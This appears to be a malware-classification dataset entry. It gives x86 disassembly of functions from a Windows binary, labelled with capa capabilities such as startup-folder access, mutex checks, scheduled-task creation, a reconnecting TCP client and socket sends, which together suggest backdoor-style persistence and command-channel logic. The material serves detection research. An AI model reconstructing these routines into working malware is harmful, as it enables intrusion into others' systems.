joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a750
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4495cb
mov eax, dword fs:[0]
push eax
sub esp, 0x140
mov eax, dword [0x466124]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x11c], esi
lea eax, [ebp - 0x118]
mov dword [ebp - 0x11c], esi
push eax
push 0
push 0
push 0x28
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
sub esp, 0x18
mov ecx, esp
push 0x4675e4
call fcn.004233e0
lea ecx, [ebp - 0x14c]
call fcn.004061f0
add esp, 0x18
mov edi, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x134], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 0xf
mov byte [ebp - 0x134], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a7f4
sub ecx, edx
lea eax, [ebp - 0x118]
push ecx
push eax
lea ecx, [ebp - 0x134]
call fcn.004242f0
push edi
lea eax, [ebp - 0x134]
mov byte [ebp - 4], 1
push eax
push dword [ebp - 0x11c]
mov ecx, esi
call fcn.004257e0
mov edx, dword [ebp - 0x120]
cmp edx, 0x10
jb 0x40a85f
mov ecx, dword [ebp - 0x134]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40a855
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a8b2
push edx
push ecx
call fcn.0042a0d6
add esp, 8
mov edx, dword [ebp - 0x138]
cmp edx, 0x10
jb 0x40a895
mov ecx, dword [ebp - 0x14c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40a88b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a8b2
push edx
push ecx
call fcn.0042a0d6
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00429a60
mov esp, ebp
pop ebp
ret
call fcn.0042f0c9
int3
Function at 0x40b250
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4496ab
mov eax, dword fs:[0]
push eax
sub esp, 0x234
mov eax, dword [0x466124]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x238], edi
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x238], edi
push eax
lea eax, [ebp - 0x210]
mov dword [ebp - 0x22c], pe_nt_image_headers32
push eax
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
xor eax, eax
mov dword [ebp - 0x228], 0
lea esi, [ebp - 0x210]
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x214], 7
lea ecx, [esi + 2]
mov word [ebp - 0x228], ax
nop dword [eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x40b2e0
sub esi, ecx
sar esi, 1
cmp esi, 7
ja 0x40b325
mov dword [ebp - 0x218], esi
lea eax, [ebp - 0x210]
add esi, esi
push esi
push eax
lea eax, [ebp - 0x228]
push eax
call fcn.0042b170
add esp, 0xc
xor eax, eax
mov word [ebp + esi - 0x228], ax
mov ebx, dword [ebp - 0x228]
jmp 0x40b395
cmp esi, 0x7ffffffe
ja 0x40b4ab
mov ebx, esi
or ebx, 7
cmp ebx, 0x7ffffffe
jbe 0x40b345
mov ebx, 0x7ffffffe
jmp 0x40b34f
mov eax, 0xa
cmp ebx, eax
cmovb ebx, eax
lea eax, [ebx + 1]
push eax
lea ecx, [ebp - 0x228]
call fcn.00425780
mov dword [ebp - 0x218], esi
add esi, esi
mov dword [ebp - 0x234], eax
lea eax, [ebp - 0x210]
push esi
mov dword [ebp - 0x214], ebx
mov ebx, dword [ebp - 0x234]
push eax
push ebx
call fcn.0042b170
add esp, 0xc
xor eax, eax
mov word [esi + ebx], ax
mov dword [ebp - 0x228], ebx
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x228]
cmp dword [ebp - 0x214], 8
lea esi, [ebp - 0x228]
mov eax, dword [ebp - 0x218]
cmovae ecx, ebx
mov dword [edi], 0
cmovae esi, ebx
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
lea eax, [ecx + eax*2]
mov ecx, edi
mov dword [ebp - 0x234], eax
sub eax, esi
sar eax, 1
push eax
call fcn.004230b0
mov dword [ebp - 0x23c], edi
mov byte [ebp - 4], 1
cmp esi, dword [ebp - 0x234]
je 0x40b451
nop dword [eax]
mov bl, byte [esi]
mov ecx, dword [edi + 0x10]
mov edx, dword [edi + 0x14]
mov byte [ebp - 0x230], bl
cmp ecx, edx
jae 0x40b42b
lea eax, [ecx + 1]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0x10
jb 0x40b421
mov eax, dword [edi]
mov byte [eax + ecx], bl
mov byte [eax + ecx + 1], 0
jmp 0x40b446
push dword [ebp - 0x230]
mov byte [ebp - 0x238], 0
push dword [ebp - 0x238]
push ecx
mov ecx, edi
call fcn.004252c0
add esi, 2
cmp esi, dword [ebp - 0x234]
jne 0x40b400
mov edx, dword [ebp - 0x214]
cmp edx, 8
jb 0x40b48d
mov ecx, dword [ebp - 0x228]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b483
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b4b0
push edx
push ecx
call fcn.0042a0d6
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00429a60
mov esp, ebp
pop ebp
ret
call fcn.004026a0
call fcn.0042f0c9
int3
Function at 0x40c6d0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push edi
push 0x96
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x4674a8], 0x10
mov eax, 0x467494
cmovae eax, dword [0x467494]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40c71a
test edi, edi
je 0x40c71a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40c71c
pop edi
ret
push 0
call fcn.0042dffe
int3
Function at 0x40ce00
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44995b
mov eax, dword fs:[0]
push eax
sub esp, 0x438
mov eax, dword [0x466124]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x414], ebx
push 0
mov dword [ebp - 0x414], ebx
call fcn.00431e93
push eax
call fcn.0042e1ac
add esp, 8
call fcn.0042e18b
cdq
mov ecx, 0x3313
idiv ecx
mov edi, edx
call fcn.0042e18b
mov ecx, eax
mov eax, 0x55555556
imul ecx
mov esi, edx
shr esi, 0x1f
add esi, edx
imul esi, edi
call fcn.0042e18b
imul edx, eax, 0x4d
lea ecx, [ebp - 0x444]
add edx, 0x64
add edx, esi
call fcn.004043e0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x444]
cmp dword [ebp - 0x430], 0x10
lea edx, [ebp - 0x410]
cmovae eax, dword [ebp - 0x444]
sub edx, eax
nop
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x40ceb0
lea esi, [ebp - 0x410]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x40cec6
push 0x40
push 0
push 0x46bc98
sub esi, ecx
call fcn.0042b6f0
add esp, 0xc
mov dword [0x46bc8c], 0
mov edx, esi
mov dword [0x46bc88], 0
lea ecx, [ebp - 0x410]
mov dword [0x46bc78], 0x67452301
mov dword [0x46bc7c], 0xefcdab89
mov dword [0x46bc80], 0x98badcfe
mov dword [0x46bc84], 0x10325476
call fcn.00405ba0
call fcn.00405c60
mov ecx, 0x469cd8
mov dword [ebp - 0x42c], 0
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x418], 0xf
mov byte [ebp - 0x42c], 0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40cf60
sub ecx, edx
push ecx
push 0x469cd8
lea ecx, [ebp - 0x42c]
call fcn.004242f0
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x430]
cmp edx, 0x10
jb 0x40cfbb
mov ecx, dword [ebp - 0x444]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40cfb1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d081
push edx
push ecx
call fcn.0042a0d6
add esp, 8
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0xf
mov byte [ebp - 0x444], 0
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x41c]
mov dword [ebx], 0
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 0xf
mov byte [ebx], 0
cmp eax, 1
jb 0x40d07c
dec eax
mov ecx, 0xa
cmp eax, ecx
cmovb ecx, eax
cmp dword [ebp - 0x418], 0x10
lea eax, [ebp - 0x42c]
cmovae eax, dword [ebp - 0x42c]
push ecx
inc eax
mov ecx, ebx
push eax
call fcn.004242f0
mov edx, dword [ebp - 0x418]
cmp edx, 0x10
jb 0x40d05e
mov ecx, dword [ebp - 0x42c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40d054
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d081
push edx
push ecx
call fcn.0042a0d6
add esp, 8
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00429a60
mov esp, ebp
pop ebp
ret
call fcn.00424800
call fcn.0042f0c9
int3
Function at 0x40f4b0
Capabilities:
Schedule task via itaskscheduler

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x449d75
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x466124]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea edx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea edi, [ebp + 8]
mov ebx, dword [ebp + 0x18]
lea ecx, [ebp - 0x28]
cmovae edx, dword [ebp + 8]
add ebx, edx
mov dword [ebp - 0x28], 0
cmp dword [ebp + 0x1c], 0x10
mov dword [ebp - 0x18], 0
cmovae edi, dword [ebp + 8]
xor eax, eax
mov word [ebp - 0x28], ax
mov eax, ebx
sub eax, edi
mov dword [ebp - 0x14], 7
push eax
call fcn.00426310
mov byte [ebp - 0x34], 0
lea ecx, [ebp - 0x28]
push dword [ebp - 0x34]
push ebx
push edi
call fcn.004266b0
mov byte [ebp - 4], 1
lea esi, [ebp - 0x28]
cmp dword [ebp - 0x14], 8
push 0
cmovae esi, dword [ebp - 0x28]
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x40f577
lea eax, [ebp - 0x2c]
push eax
push 0x45e048
push 1
push 0
push 0x45dfe8
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x40f5f7
call dword [sym.imp.ole32.dll_CoUninitialize]
xor esi, esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x40f5b3
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40f5a9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f67c
push edx
push ecx
call fcn.0042a0d6
add esp, 8
mov edx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 0x10
jb 0x40f65e
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f654
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f67c
jmp 0x40f654
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x30]
push edx
push 0x45e15c
push 0x45df00
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x20]
test eax, eax
jns 0x40f577
cmp eax, 0x80070050
jne 0x40f577
mov eax, dword [ebp - 0x2c]
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
test eax, eax
jns 0x40f644
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x40f577
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esi, 1
jmp 0x40f579
push edx
push ecx
call fcn.0042a0d6
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00429a60
mov esp, ebp
pop ebp
ret
call fcn.0042f0c9
int3
Function at 0x411080
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44a005
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x466124]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
mov edx, dword [ebp + 0x1c]
mov eax, edx
mov ecx, dword [ebp + 0x18]
sub eax, ecx
cmp eax, 1
jb 0x4110d7
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp + 0x18], eax
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
mov word [eax + ecx], 0
jmp 0x4110ec
push 0
push 1
mov byte [ebp - 0x34], 0
lea ecx, [ebp + 8]
push dword [ebp - 0x34]
push 1
call fcn.00425400
mov edx, dword [ebp + 0x34]
mov eax, edx
mov ecx, dword [ebp + 0x30]
sub eax, ecx
cmp eax, 1
jb 0x411113
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp + 0x30], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
mov word [eax + ecx], 0
jmp 0x411128
push 0
push 1
mov byte [ebp - 0x34], 0
lea ecx, [ebp + 0x20]
push dword [ebp - 0x34]
push 1
call fcn.00425400
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
xorps xmm0, xmm0
mov dword [ebp - 0x16], 0
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x34], 0x10
mov dword [ebp - 0x28], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
mov dword [ebp - 0x24], eax
mov eax, 0x610
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x30]
push eax
movlpd qword [ebp - 0x1e], xmm0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 2
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
mov edx, dword [ebp + 0x1c]
mov esi, eax
cmp edx, 0x10
jb 0x4111a6
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41119c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411204
push edx
push ecx
call fcn.0042a0d6
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x4111e8
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4111de
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411204
push edx
push ecx
call fcn.0042a0d6
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00429a60
mov esp, ebp
pop ebp
ret
call fcn.0042f0c9
int3
Function at 0x412330
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x466124]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x46bd1c
mov dword [ebp - 8], edx
mov dword [ebp - 0x14], ecx
call fcn.0042907b
add esp, 4
test eax, eax
jne 0x412439
mov ecx, dword [0x46bc90]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_send]
push esi
push edi
mov dword [ebp - 0xc], ecx
xor esi, esi
mov edi, 4
push 0
push edi
lea eax, [ebp - 8]
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x412391
mov ecx, dword [ebp - 0xc]
add esi, eax
sub edi, eax
cmp esi, 4
jl 0x412374
xor ecx, ecx
mov edi, 8
cmp eax, 0xffffffff
setne cl
dec ecx
xor esi, esi
mov dword [ebp - 0xc], ecx
mov ecx, dword [0x46bc90]
mov dword [ebp - 0x10], ecx
nop dword [eax]
push 0
push edi
lea eax, [ebp + 8]
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x4123cd
mov ecx, dword [ebp - 0x10]
add esi, eax
sub edi, eax
cmp esi, 8
jl 0x4123b0
or ecx, 0xffffffff
cmp eax, ecx
mov eax, dword [ebp - 0xc]
cmove eax, ecx
mov ecx, dword [0x46bc90]
mov dword [ebp - 0xc], eax
xor esi, esi
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], ecx
test eax, eax
jle 0x412418
mov edi, eax
mov eax, dword [ebp - 0x14]
push 0
push edi
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x412411
mov ecx, dword [ebp - 0x18]
add esi, eax
sub edi, eax
cmp esi, dword [ebp - 0x10]
jl 0x4123f2
jmp 0x412418
mov dword [ebp - 0xc], 0xffffffff
push 0x46bd1c
call fcn.004290a0
mov ecx, dword [ebp - 4]
add esp, 4
mov eax, dword [ebp - 0xc]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00429a60
mov esp, ebp
pop ebp
ret
push eax
call fcn.00428c43
int3
Function at 0x412a80
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x20f8
call fcn.0042aac0
mov eax, dword [0x466124]
xor eax, esp
mov dword [esp + 0x20f4], eax
push esi
push edi
call fcn.00431302
cmp dword [0x4673a0], 0x10
mov edi, eax
push 0xa
lea eax, [esp + 0x10]
mov esi, 0x46738c
cmovae esi, dword [0x46738c]
push eax
push esi
mov dword [edi], 0
call fcn.00431c37
add esp, 0xc
cmp esi, dword [esp + 0xc]
je 0x412c14
cmp dword [edi], 0x22
je 0x412c0a
movzx edi, ax
lea eax, [esp + 0x28]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x412bf3
cmp dword [0x467700], 0x10
xorps xmm0, xmm0
mov eax, 2
movaps xmmword [esp + 0x10], xmm0
mov esi, 0x4676ec
mov word [esp + 0x10], ax
cmovae esi, dword [0x4676ec]
push edi
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
lea eax, [esp + 0x14]
push eax
push esi
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x10
lea ecx, [esp + 0x14]
mov dword [0x46bc90], eax
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
cmp eax, 0xffffffff
jne 0x412ba3
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop word [eax + eax]
push 0xbb8
call edi
push dword [0x46bc90]
call esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x10
lea ecx, [esp + 0x14]
mov dword [0x46bc90], eax
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x412b70
lea ecx, [esp + 0x1b8]
call fcn.004127e0
cmp eax, 0xffffffff
je 0x412bf3
cmp byte [0x469bd4], 1
je 0x412be4
lea ecx, [esp + 0x1b8]
call fcn.004127e0
cmp eax, 0xffffffff
jne 0x412bb4
or eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x20f4]
xor ecx, esp
call fcn.00429a60
mov esp, ebp
pop ebp
ret
push dword [0x46bc90]
call esi
mov byte [0x469bd4], 0
mov ecx, dword [esp + 0x20fc]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, esp
call fcn.00429a60
mov esp, ebp
pop ebp
ret
push str.stoi_argument_out_of_range
call fcn.0042873c
push str.invalid_stoi_argument
call fcn.004286fc
int3
Function at 0x418500
Capabilities:
Check if file exists
Enumerate files on windows
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44b0ba
mov eax, dword fs:[0]
push eax
sub esp, 0x24c
mov eax, dword [0x466124]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
Function at 0x420e50
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x420cf0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x420d80
push 0
push 0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0x7530
call esi
jmp 0x420e40
push ebp
mov ebp, esp
and esp, 0xfffffff8
call fcn.0040c6d0
mov ecx, 1
call fcn.00411600
call fcn.00411e90
call fcn.0041f4b0
call fcn.00406740
jmp 0x420e10
Function at 0x421160
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
cmp dword [ecx + 0x38], 0
push ebx
push esi
push edi
mov dword [esp + 0xc], ecx
je 0x421246
mov esi, dword [ebp + 0x10]
mov ebx, esi
mov edx, dword [ebp + 0xc]
mov edi, edx
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
test esi, esi
jl 0x421235
jg 0x4211a0
test edx, edx
je 0x421235
nop dword [eax]
call fcn.00423fc0
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x4211f4
jg 0x4211b7
test esi, esi
je 0x4211f4
cmp ebx, eax
jg 0x4211c7
jl 0x4211c1
cmp edi, esi
jae 0x4211c7
mov esi, edi
mov dword [esp + 0x14], ebx
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
push esi
push eax
mov eax, dword [ecx + 0x20]
push dword [eax]
call fcn.0042b170
mov ecx, dword [esp + 0x18]
add esp, 0xc
sub edi, esi
sbb ebx, dword [esp + 0x14]
mov eax, dword [ecx + 0x30]
sub dword [eax], esi
mov eax, dword [ecx + 0x20]
add dword [eax], esi
jmp 0x421219
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
mov edx, dword [ecx]
movzx eax, byte [eax]
push eax
call dword [edx + 0xc]
cmp eax, 0xffffffff
je 0x42122f
mov ecx, dword [esp + 0xc]
add edi, 0xffffffff
mov esi, 1
adc ebx, 0xffffffff
add dword [esp + 0x10], esi
test ebx, ebx
jg 0x4211a0
jl 0x42122f
test edi, edi
jne 0x4211a0
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
sub edx, edi
mov eax, edx
sbb esi, ebx
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ecx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x10], eax
test eax, eax
je 0x421268
mov eax, dword [ecx + 0x30]
mov eax, dword [eax]
jmp 0x42126a
xor eax, eax
cdq
mov ebx, eax
mov eax, edx
mov dword [esp + 0x14], eax
test edi, edi
jl 0x4212e8
jg 0x42127d
test esi, esi
je 0x4212e8
test eax, eax
jl 0x4212cc
jg 0x421287
test ebx, ebx
je 0x4212cc
cmp edi, eax
jg 0x421297
jl 0x421291
cmp esi, ebx
jae 0x421297
mov ebx, esi
mov dword [esp + 0x14], edi
push ebx
push dword [ebp + 8]
push dword [esp + 0x18]
call fcn.0042b170
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
sub esi, ebx
sbb edi, dword [esp + 0x14]
add edx, ebx
mov eax, dword [ecx + 0x30]
sub dword [eax], ebx
mov eax, dword [ecx + 0x20]
add dword [eax], ebx
test edi, edi
jl 0x4212e8
jg 0x4212cf
test esi, esi
je 0x4212e8
jmp 0x4212cf
mov edx, dword [ebp + 8]
mov eax, dword [ecx + 0x4c]
test eax, eax
je 0x4212e8
push eax
push esi
push 1
push edx
call fcn.00431226
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x421300
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x421332
jl 0x421325
test ecx, ecx
jne 0x421332
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x4213f2
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.00423fe0
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x42139e
jg 0x42135d
test esi, esi
je 0x42139e
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x421375
mov eax, dword [esp + 0x10]
jl 0x42136f
cmp eax, esi
jae 0x421375
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.0042b170
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x4213bf
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x4213db
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x421344
jl 0x4213db
test ecx, ecx
jne 0x421344
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov ecx, dword [ebp + 0x10]
sbb ecx, edx
mov edx, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x421431
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x421431
mov edi, dword [esp + 0xc]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push edi
call fcn.0042b170
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [esp + 0x18], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
cmp dword [ebx + 0x4c], 0
mov ecx, edi
je 0x4214a0
mov esi, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [esi], eax
jne 0x421457
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [esi], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
mov ecx, edi
cmp edi, 0xfff
jbe 0x421489
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.0043230c
sub edi, eax
add esp, 0x10
add esi, eax
mov ecx, edi
cmp eax, 0xfff
jne 0x4214b4
cmp edi, eax
ja 0x421465
test ecx, ecx
je 0x4214a0
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.0043230c
mov ecx, edi
add esp, 0x10
sub ecx, eax
